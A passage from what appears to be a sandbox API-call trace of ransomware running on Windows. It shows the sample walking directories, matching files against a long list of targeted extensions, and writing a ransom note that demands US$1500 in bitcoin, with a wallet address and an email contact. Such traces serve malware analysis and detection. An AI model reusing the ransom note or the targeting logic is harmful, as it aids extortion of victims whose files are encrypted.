(lpString="*.pdf") returned 5 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.cert") returned 0 [0104.571] lstrlenA (lpString="*.cert") returned 6 [0104.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.docm") returned 0 [0104.571] lstrlenA (lpString="*.docm") returned 6 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.xlsm") returned 0 [0104.572] lstrlenA (lpString="*.xlsm") returned 6 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.dwg") returned 0 [0104.572] lstrlenA (lpString="*.dwg") returned 5 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.nd") returned 0 [0104.572] lstrlenA (lpString="*.nd") returned 4 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.tlg") returned 0 [0104.572] lstrlenA (lpString="*.tlg") returned 5 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.lgb") returned 0 [0104.572] lstrlenA (lpString="*.lgb") returned 5 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.mov") returned 0 [0104.572] lstrlenA (lpString="*.mov") returned 5 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.xdw") returned 0 [0104.572] lstrlenA (lpString="*.xdw") returned 5 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.ods") returned 0 [0104.572] lstrlenA (lpString="*.ods") returned 5 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.wav") returned 0 [0104.572] lstrlenA (lpString="*.wav") returned 5 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.mp3") returned 0 [0104.572] lstrlenA (lpString="*.mp3") returned 5 [0104.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.aiff") returned 0 [0104.572] lstrlenA (lpString="*.aiff") returned 6 [0104.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.flac") returned 0 [0104.573] lstrlenA (lpString="*.flac") returned 6 [0104.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.m4a") returned 0 [0104.573] lstrlenA (lpString="*.m4a") returned 5 [0104.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\bfaf8f86e69928fb2f67987c0203f603\\PresentationFramework.ni.dll", pszSpec="*.csv") returned 0 [0104.573] lstrlenA (lpString="*.csv") returned 5 [0104.573] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96b8b04, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x96b8b04, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x998c529, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xdacc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.573] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bc79ce, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9bc79ce, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9bc79ce, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="bfaf8f86e69928fb2f67987c0203f603", cAlternateFileName="BFAF8F~1")) returned 0 [0104.573] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.573] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6c9fa2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6c9fa2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationUI", cAlternateFileName="PRESEN~4")) returned 1 [0104.573] lstrcmpA (lpString1=".", lpString2="PresentationUI") returned -1 [0104.573] lstrcmpA (lpString1="..", lpString2="PresentationUI") returned -1 [0104.573] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.573] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="PresentationUI" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI" [0104.574] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI") returned 61 [0104.574] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6c9fa2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6c9fa2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.579] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.580] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6c9fa2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6c9fa2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.580] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.580] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.580] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6c9fa2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6c9fa2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6f4c8aeb8f066adf5cafedbec0cac415", cAlternateFileName="6F4C8A~1")) returned 1 [0104.580] lstrcmpA (lpString1=".", lpString2="6f4c8aeb8f066adf5cafedbec0cac415") returned -1 [0104.580] lstrcmpA (lpString1="..", lpString2="6f4c8aeb8f066adf5cafedbec0cac415") returned -1 [0104.580] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\*.*") returned="*.*" [0104.580] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\", lpString2="6f4c8aeb8f066adf5cafedbec0cac415" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415" [0104.580] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415") returned 94 [0104.580] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6c9fa2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6c9fa2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.581] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.581] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6c9fa2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa6c9fa2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa6c9fa2, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.581] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.581] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.581] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bf600, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa5bf600, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa631a21, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x194e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationUI.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.581] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.581] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationUI.ni.dll") returned -1 [0104.581] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationUI.ni.dll") returned -1 [0104.581] lstrcmpiA (lpString1="", lpString2="PresentationUI.ni.dll") returned -1 [0104.581] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\*.*") returned="*.*" [0104.581] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\" [0104.581] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\") returned="" [0104.581] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\HOW TO DECRYPT FILES.txt" [0104.581] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationui\\6f4c8aeb8f066adf5cafedbec0cac415\\how to decrypt files.txt")) returned 0xffffffff [0104.581] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationui\\6f4c8aeb8f066adf5cafedbec0cac415\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.583] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.583] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.584] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.584] CloseHandle (hObject=0x90) returned 1 [0104.584] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\", lpString2="PresentationUI.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll" [0104.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.ems") returned 0 [0104.584] lstrlenA (lpString="*.ems") returned 5 [0104.584] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.db") returned 0 [0104.585] lstrlenA (lpString="*.db") returned 4 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.dbf") returned 0 [0104.585] lstrlenA (lpString="*.dbf") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.myox") returned 0 [0104.585] lstrlenA (lpString="*.myox") returned 6 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.myo") returned 0 [0104.585] lstrlenA (lpString="*.myo") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qbw") returned 0 [0104.585] lstrlenA (lpString="*.qbw") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qbb") returned 0 [0104.585] lstrlenA (lpString="*.qbb") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qbm") returned 0 [0104.585] lstrlenA (lpString="*.qbm") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qbo") returned 0 [0104.585] lstrlenA (lpString="*.qbo") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qbx") returned 0 [0104.585] lstrlenA (lpString="*.qbx") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qba") returned 0 [0104.585] lstrlenA (lpString="*.qba") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qby") returned 0 [0104.585] lstrlenA (lpString="*.qby") returned 5 [0104.585] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qbj") returned 0 [0104.586] lstrlenA (lpString="*.qbj") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.ofx") returned 0 [0104.586] lstrlenA (lpString="*.ofx") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.qif") returned 0 [0104.586] lstrlenA (lpString="*.qif") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.mye") returned 0 [0104.586] lstrlenA (lpString="*.mye") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.mbox") returned 0 [0104.586] lstrlenA (lpString="*.mbox") returned 6 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.eml") returned 0 [0104.586] lstrlenA (lpString="*.eml") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.pst") returned 0 [0104.586] lstrlenA (lpString="*.pst") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.ost") returned 0 [0104.586] lstrlenA (lpString="*.ost") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.idx") returned 0 [0104.586] lstrlenA (lpString="*.idx") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.dbx") returned 0 [0104.586] lstrlenA (lpString="*.dbx") returned 5 [0104.586] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.sql") returned 0 [0104.587] lstrlenA (lpString="*.sql") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.mdb") returned 0 [0104.587] lstrlenA (lpString="*.mdb") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.fdb") returned 0 [0104.587] lstrlenA (lpString="*.fdb") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.wab") returned 0 [0104.587] lstrlenA (lpString="*.wab") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.dat") returned 0 [0104.587] lstrlenA (lpString="*.dat") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.txt") returned 0 [0104.587] lstrlenA (lpString="*.txt") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.jpeg") returned 0 [0104.587] lstrlenA (lpString="*.jpeg") returned 6 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.jpg") returned 0 [0104.587] lstrlenA (lpString="*.jpg") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.png") returned 0 [0104.587] lstrlenA (lpString="*.png") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.php") returned 0 [0104.587] lstrlenA (lpString="*.php") returned 5 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.cs") returned 0 [0104.587] lstrlenA (lpString="*.cs") returned 4 [0104.587] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.cpp") returned 0 [0104.587] lstrlenA (lpString="*.cpp") returned 5 [0104.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.rar") returned 0 [0104.588] lstrlenA (lpString="*.rar") returned 5 [0104.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.zip") returned 0 [0104.588] lstrlenA (lpString="*.zip") returned 5 [0104.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.html") returned 0 [0104.588] lstrlenA (lpString="*.html") returned 6 [0104.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.htm") returned 0 [0104.588] lstrlenA (lpString="*.htm") returned 5 [0104.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.xlsx") returned 0 [0104.588] lstrlenA (lpString="*.xlsx") returned 6 [0104.588] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.xls") returned 0 [0104.588] lstrlenA (lpString="*.xls") returned 5 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.mp4") returned 0 [0104.589] lstrlenA (lpString="*.mp4") returned 5 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.ppt") returned 0 [0104.589] lstrlenA (lpString="*.ppt") returned 5 [0104.589] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationUI\\6f4c8aeb8f066adf5cafedbec0cac415\\PresentationUI.ni.dll", pszSpec="*.pptx") returned 0 [0104.589] lstrlenA 